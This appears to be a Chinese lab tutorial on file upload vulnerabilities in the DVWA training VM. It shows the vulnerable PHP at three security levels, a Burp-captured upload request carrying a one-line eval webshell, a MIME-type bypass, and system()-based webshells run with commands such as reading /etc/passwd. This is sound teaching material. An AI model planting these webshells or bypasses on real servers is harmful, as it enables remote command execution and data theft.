1.文件上传漏洞渗透及防御(OWASP实战训练)

1.文件上传漏洞渗透及防御(OWASP实战训练)

  • OWASP
    • upload上传漏洞
    • 实验一:低安全模式下,上传任意类型的文件,文件大小不受限制
    • 实验二,安全级别调整将其变为中等安全级别
    • 实验三:将其设为高安全级别

OWASP

https://sourceforge.net/projects/owaspbwa/files/
上方地址为靶机OWASP的最新下载地址

DVWA的界面密码是admin admin 进入后就有
我们一般用damn vulnerable web App这个模块来练习
在DVWA页面上有很多的漏洞,模拟了糟糕的开发人员开发的程序

upload上传漏洞

在选择图片上传时有个漏洞,选择图片上传时上传成功了,而选择一个PHP程序时也上传成功了,理论上是不应该有这个漏洞的,但是因为开发人员没有做出这个检测,本身应该上传其要求的文件类型,但上传任意文件类型,其中就包含我们的木马程序,这就是文件上传漏洞。
本身上传

一句话木马上传后,使用菜刀就能控制
有时可能不会犯错,但有很多业务线,很多网站有主站和子站,子站可能会犯错。
就本身文件上传无论是博客还是论坛,都应具备的行为,上传头像、附件、图片、视频都是正常的,但如果有人恶意上传PHP、ASP、java、python等文件绕过了web应用而且顺利执行,这样就能拿到webshell,一旦拿到webshell就能拿到web应用数据删除网站甚至是做进一步提权进入此系统中,特别是webshell可以和后面的sql注入相结合。

文件上传本身是正常的,但如果我们没有做合理的过滤和检测而导致用户绕过web应用上传一些程序文件这就是漏洞。

实验一:低安全模式下,上传任意类型的文件,文件大小不受限制

刚刚upload就是个例子,在DVWA security有个安全级别设置low,特别糟糕的开发人员设计的程序。
1,靶机设计安全等级,DVWA security
2,右下角有个查看源代码,在低安全下面的代码很简单

<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename( $_FILES['uploaded']['name']);if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}
?>

上方源代码是post提交,提交的主目录是在"hackable/uploads/路径下,目标名字,并且这里并没有做任何检测,有对象就上传成功,没有对象就上传失败,是个非常糟糕开发者

PHP源码是后端语言,在前端是看不到的
Nigx是webserver只能处理静态资源,网站有动态,需要PHP中间件php-APM

网站请求静态资源,是HTML,css,js图像等,Nginx直接从磁盘弄出来返回客户端有浏览器渲染就有了页面。
现在客户端请求PHP程序,Nginx受到请求,看到后缀为PHP,通过一种方式去找PHPAPM,PHPAPM对程序执行,执行后(就变成了静态的东西了)将结果交给Nginx,在客户端永远看不到后台的代码的,看到的始终是静态的结果。
客户端和Nginx之间的通信用的是http协议或HTTPS,Nginx和中间件使用的是fast_cgi协议。此处的view source查看的是后端PHP源码,在正常网页上是看不到的。
这是个靶机每步都有响应,比如上传图片成功了会响应,后端源码我们是看不到的,只有用爬虫爬下来才能看到。爬取网站前端后端都爬下来。

我们有个PHP一句话木马,在G:\网络安全学习笔记\web安全白帽子\中国菜刀及一句话木马下,可将其上传。
下面是刚才木马文件上传的路径,http://192.168.0.106/dvwa/hackable/uploads/shell1.php

下面使用中国菜刀,运行jar包,在菜刀内添加一个url,右键有文件管理,也有虚拟终端,如果被人上传了这种文件是可怕的,别人可以连接你的服务器对你的网站系统管理,到底什么权限过会再讲。
后台源码基本无检测,不关注文件的后缀内容等,如果过上传的恶意木马就能通过菜刀或者相应的软件进行链接对此机器。

实验二,安全级别调整将其变为中等安全级别

提交后还是按照之前的套路上传下,我们可以把之前的shell删除,靶机的网站结构还是比较清楚的。使用Xshell在目录下将木马删除

rm -f shell1.php 

安全等级变为中等后可以上传图片,试一下能否正常显示,
http://192.168.0.106/dvwa/hackable/uploads/cha.jpg可以
在此选择shell1的PHP文件上传,会显示图片并未上传,此时再看一下他的源码,这个源码就要限制,如果上传的文件不是image/jpeg就不会上传
在MIME类型(上网查),content-type,上传失败是限制了类型,PHP是App应用类型。

<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_type = $_FILES['uploaded']['type'];$uploaded_size = $_FILES['uploaded']['size'];if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}else{echo '<pre>Your image was not uploaded.</pre>';}}
?>

我们有个方法对此类型进行修改绕过它,不是改文件的后缀,接下来我们要用到burpsuite这个软件,它的功能非常强大,如代理,拦截,爬虫,及漏扫,攻击于一体的软件非常强大。
在这里插入图片描述

我们可以用burpsuite拦截请求更改内容再上传就能上传成功了,要将火狐或者IE的代理指向burpsuite否则请求不会走向这边。直接转发是没有用的。

我们直接在kali中的火狐中启动代理就行,burpsuite只有专业版有漏洞扫描,此时只用其代理拦截功能,至于漏扫后面会讲。今天只是第一次打交道。

Proxy代理,spider爬虫,scanner漏扫。
在proxy下intercept拦截功能打开请求就被拦截了,画面就不出现了,将拦截功能关闭又能使用浏览器访问了,但是代理功能还是开着的,请求还是通过这个代理走的。只是没有拦截下来。

这个代理不见得只是这个机器内部使用,默认情况是工作在本地的,火狐修改代理配置后可以使用。可以改proxy的option来更改代理。

1,首先将intercept关闭,使用火狐打开网站,在上传文件前将intercept打开
2,选择shell的PHP一句话木马文件上传,使用burpsuite抓包如下

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 452
Origin: http://192.168.0.102
Connection: close
Referer: http://192.168.0.102/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=nsvh9mt44vjrocftrhpn5v5374; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1-----------------------------18467633426500
Content-Disposition: form-data; name="MAX_FILE_SIZE"100000
-----------------------------18467633426500
Content-Disposition: form-data; name="uploaded"; filename="shell1.php"
Content-Type: application/octet-stream<?php @eval($_POST['chopper']);?>
-----------------------------18467633426500
Content-Disposition: form-data; name="Upload"Upload
-----------------------------18467633426500--

注意此时将Content-Type: application/octet-stream的文件类型更改为
Content-Type:image/jpeg,接着点击转发forward,过没过去可以通过网页下方显示看到。…/…/hackable/uploads/shell1.php succesfully uploaded!

这个主要是通过更改类型Content-Type来达到欺骗服务器的目的,而木马文件的后缀是没有更改的。现在用菜刀也是可以连接上的。此时若不想使用拦截可将其关闭。
这是通过修改文件的MIME类型达到欺骗服务器的目的,每个文件都有MIME类型。
中安全级别下面如何上传这样的一个类型,我们稍微绕了一下并不是通过刚才直接上传,通过代理软件将其拦截并修改转发。

实验三:将其设为高安全级别

再此查看源代码,发现这次限制的不是MIME文件扩展名了,限制的是文件的后缀,只能上传jpg等图片格式。限制的太死了。上传之前将上次的一句话木马删除保证公正。

<?php 
if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?> 

现在按照第二种更是改文件类型是不行的,因为限制的是后缀,所以不打算改了。那能filename="shell1.php.jpg"可以吗,上传是可以的,但是无法使用的。此处是无法识别显示的,菜刀连接此路径虽然能连接上,只能看一些文件结构,但不能在里面操作,但是真实实验是不可以使用的。
看结构也很简单,爬虫一爬就能看到了。

低安全级别无任何限制
中安全级别文件类型MIME限制(content-type)
高安全级别限制后缀(现在感到为难了)

暂时不管,认识webshell木马程序(可以上传到网站也可以上传到数据库中)
目前上传到网站中去还有很多种方式。

Webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测到
下面准备了两个脚本,

设立了

shell2.php  #eval 使用PHP函数,例如PHPinfo
<?php eval($_REQUEST['cmd']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();Shell3.php   #system 使用Linux系统命令,列如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?yangge=cat /etc/passwd

此时是高安全级别,是上传不上去的,我们现改为低级别上传一下
将shell2上传,注意shell2的eval调用的是PHP的函数,而system调用的是系统命令,?是传递参数,PHPinfo是用来打印整个PHP信息的。
那如果是shell3呢,注意yangge= 后面跟的是系统命令可以用ls会输出当前目录下的目录,或者id展示当前用户名。Id是哪个用户运行的Apache。

我们可以在Xshell运行以下程序查看此机器运行的权限

root@owaspbwa:~# ps aux | grep apache
root      1037  0.0  1.3  49544 14136 ?        Ss   01:16   0:00 /usr/sbin/apache2 -k start
root      1070  0.4  5.9 285588 61488 ?        Sl   01:16   0:04 /usr/lib/jvm/java-6-openjdk/bin/java -Djava.util.logging.config.file=/var/lib/tomcat6/conf/logging.properties -Djava.awt.headless=true -Xmx128M -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/usr/share/tomcat6/endorsed -classpath /usr/share/tomcat6/bin/bootstrap.jar -Dcatalina.base=/var/lib/tomcat6 -Dcatalina.home=/usr/share/tomcat6 -Djava.io.tmpdir=/tmp/tomcat6-tmp org.apache.catalina.startup.Bootstrap start
www-data  1102  0.0  1.0  51308 10580 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1103  0.0  1.0  51392 11176 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1104  0.0  1.0  51396 11028 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1105  0.0  1.1  51540 12112 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
www-data  1106  0.0  1.0  51308 11088 ?        S    01:16   0:00 /usr/sbin/apache2 -k start
root      2122  0.0  0.0   3328   808 pts/0    S+   01:32   0:00 grep apache

在此机器,www-data是普通用户,现在webshell拿到的权限是www-data的权限,拿到的权限就到此为止了,除非再做后面的提权,现在想做其他地方也看不了,在yangge=ls /root上是看不了的,而读权限yangge=cat /etc/passwd
是可以的,那如果输入yangge=echo “ssss” > /tmp/file1 在tmp下建立一个file1的文件,是可以的,用Xshell可以查看到这个。输入命令,只要有权限就能执行,这种执行方法,相对于中国菜刀来讲有点low,需要在地址栏一个一个敲是麻烦的。

中国菜刀

<?php @eval($_POST['chopper']);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。
使用菜刀时要注意右键更新缓存。
上面的一句话木马可以精简到下面
<?php eval($_POST[1]);?> 这就是shell5的代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/34557.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【教程】如何一步一步训练一个SOM神经网络-自组织竞争神经网络(Self-organizing Feature Map)

本文来自《老饼讲解-BP神经网络》https://www.bbbdata.com/ 目录 一、什么是SOM神经网络1.1.SOM神经网络有什么用1.2.SOM神经网络是如何聚类的 二、如何训练一个SOM神经网络2.1. 训练一个SOM神经网络的代码示例2.2. 如何查看SOM神经网络的聚类中心 SOM神经网络全称为自组织竞争…

Redis-主从复制-测试主从模式下的读写操作

文章目录 1、在主机6379写入数据2、在从机6380上写数据报错3、从机只能读数据&#xff0c;不能写数据 1、在主机6379写入数据 127.0.0.1:6379> keys * (empty array) 127.0.0.1:6379> set uname jim OK 127.0.0.1:6379> get uname "jim" 127.0.0.1:6379>…

rancher快照备份至S3

巧用rancher的S3快照备份功能&#xff0c;快速实现集群复制、集群转移、完全崩溃后的极限修复 1.进入集群管理&#xff0c;在对应的集群菜单后&#xff0c;点击编辑配置 2.选择ETCD&#xff0c;启用&#xff0c;Backup Snapshots to S3选项 并填入你的minio 3 配置成功后 手…

C# 信号量的使用

学习来源&#xff1a;《.net core 底层入门》 第六章第9节&#xff1a;信号量 案例&#xff1a;主线程负责添加数据&#xff0c;子线程负责获取数据 使用SemaphoreSlim&#xff08;轻信号量&#xff09;实现&#xff1a; using System; using System.Collections.Generic; us…

python中的<class ‘complex‘>

一般编程里面不怎么会讲&#xff0c;但是还是挺强大的一个类。 在 Python 中&#xff0c;<class complex> 表示复数类型。复数是一种包含实部和虚部的数学数&#xff0c;可以用 a bj 的形式表示&#xff0c;其中 a 表示实部&#xff0c;b 表示虚部&#xff0c;j 是虚数…

13 物理层介质及设备

物理层介质及设备 一、线缆的连接 &#xff08;一&#xff09;线序 ​ 线序&#xff1a; RJ-45连接头12345678568A绿白绿橙白蓝蓝白橙棕白棕568B橙白橙绿白蓝蓝白绿棕白棕 ​ 1、2发送&#xff0c;3、6接收 &#xff08;二&#xff09;线缆的应用 1.线缆的连接 ​ 标准…

Spring自定义标签体系和应用

我们知道&#xff0c;在使用Dubbo框架时&#xff0c;需要指定配置文件中的application、protocol、registry、provider、service等服务器端和客户端的配置项&#xff0c;典型的配置方法如下所示。通过这些配置项&#xff0c;我们可以基于Spring容器来启动Dubbo服务。 <!-- …

【2024.6.23】今日科技时事:科技前沿大事件

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

探索PHP中的函数

在PHP编程中&#xff0c;函数是一个非常重要的概念。函数可以帮助我们将代码组织成可重复使用的块&#xff0c;从而提高代码的可读性和可维护性。本文将介绍PHP中的函数&#xff0c;包括函数的定义、参数传递、返回值、内置函数和自定义函数等内容&#xff0c;帮助读者更好地理…

WPF 深入理解八、Binding 绑定

Binding 创建一个Demo 1 1.创建三个输入框&#xff0c;按钮 2.为按钮创建点击方法 3.点击按钮 三个输入框&#xff0c;分别更新了自己的内容。 上面的展示&#xff0c;是一个传统的模式&#xff0c;事件驱动程序&#xff0c;通过事件来变更UI控件元素的内容。 示例二 创建…

OS_虚拟机

2024.06.21&#xff1a;操作系统虚拟机学习笔记 第4节 虚拟机 4.1 虚拟机基本概念4.2 一型虚拟机管理程序4.3 二型虚拟机管理程序4.4 用户态与内核态 本节的主要内容就是来分辨两种不同的虚拟机管理程序 4.1 虚拟机基本概念 利用虚拟化技术&#xff0c;把一台物理机器虚拟成多…

2024年在WordPress中创建销售活动的入门级优惠券方法

2024年在WordPress中创建销售活动的入门级优惠券方法 今天我想和大家分享一些关于如何在WordPress网站上创建销售活动的经验。无论你是电商新手还是已经有一定经验的店主&#xff0c;优惠券都是吸引顾客、增加销量的有力工具。在这篇文章中&#xff0c;我将介绍三款适合初学者…

链轮简单认识一下

今天咱们聊的话题是——链轮&#xff0c;这个应用非常广泛的机械零件。 什么是链轮&#xff1f; 链轮是一种带有齿或尖刺的机械轮&#xff0c;用于与链条或皮带啮合&#xff0c;以促使“轮子”的旋转和运动。这种啮合可确保同步运动&#xff0c;使链轮和皮带能够高效地协同运行…

Linux-磁盘管理与文件系统

目录 一、磁盘结构 1、磁盘的物理结构 2、磁盘的数据结构 3、磁盘存储容量 4、接口类型 二、磁盘分区 1、磁盘的两种分区方式 1.1、MBR分区 1.2、GPT分区 三、查看硬盘的分区情况 1、Fdisk—查询磁盘设备 2、lsblk—以树形查看磁盘分区 3、blkid—查看磁盘的UUID …

Elasticsearch的快照

ES的快照是什么&#xff1f; snapshot是一个ES集群或者某个指定索引的备份&#xff0c;快照一般用在 不停机的状态下对ES集群进行备份当硬件故障时恢复集群数据用于跨集群的数据迁移对冷数据或冻结数据做快照以降低存储成本&#xff0c;依赖于可搜索的快照。-收费功能 一个快…

北邮《计算机网络》传输层笔记

内容一览 缩写复习单词复习传输层前言传输协议的要点拥塞控制UDPTCP VS UDPTCP 缩写复习 AIMD XCP ECN WFQ max-min-fair ARQ PAWS TSAP NSAP TCP UDP RTT SCTP SACK NAK RST MSS 单词复习 inverse multiplexing(SCTP) convergence crashed machine protocol scenarios asym…

基于SSM+Vue的宠物领养平台系统(带1w+文档)

基于SSMVue的宠物领养平台系统(带1w文档) 本课题研究和开发同城宠物帮管理系统&#xff0c;让安装在计算机上的该系统变成管理人员的小帮手&#xff0c;提高同城宠物帮信息处理速度&#xff0c;规范同城宠物帮信息处理流程&#xff0c;让管理人员的产出效益更高。 项目简介 基…

Spring(核心概念:IoC/DI思想)

目录 一、引言 &#xff08;1&#xff09;如今的代码书写现状 1、业务层 2、数据层 3、假如当项目上线发布之后&#xff0c;想把数据层的实现换一下 二、核心概念 &#xff08;1&#xff09;IoC&#xff08; Inversion of Control ) 控制反转 &#xff08;2&#xff09;…

HarmonyOS角落里的知识:“开发应用沉浸式效果”

概述 典型应用全屏窗口UI元素包括状态栏、应用界面和底部导航条。开发应用沉浸式效果主要指通过调整状态栏、应用界面和导航条的显示效果来减少状态栏导航条等系统界面的突兀感&#xff0c;从而使用户获得最佳的UI体验。 图1 界面元素示意图 开发应用沉浸式效果主要要考虑如下…

8.XSS盲打

XSS盲打 XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下&#xff0c;提交恶意JS代码在类似留言板等输入框后&#xff0c;所展现的后台位置的情况下&#xff0c;网站采用了攻击者插入的恶意代码&#xff0c;当后台管理员在操作时就会触发插入的恶意代码&…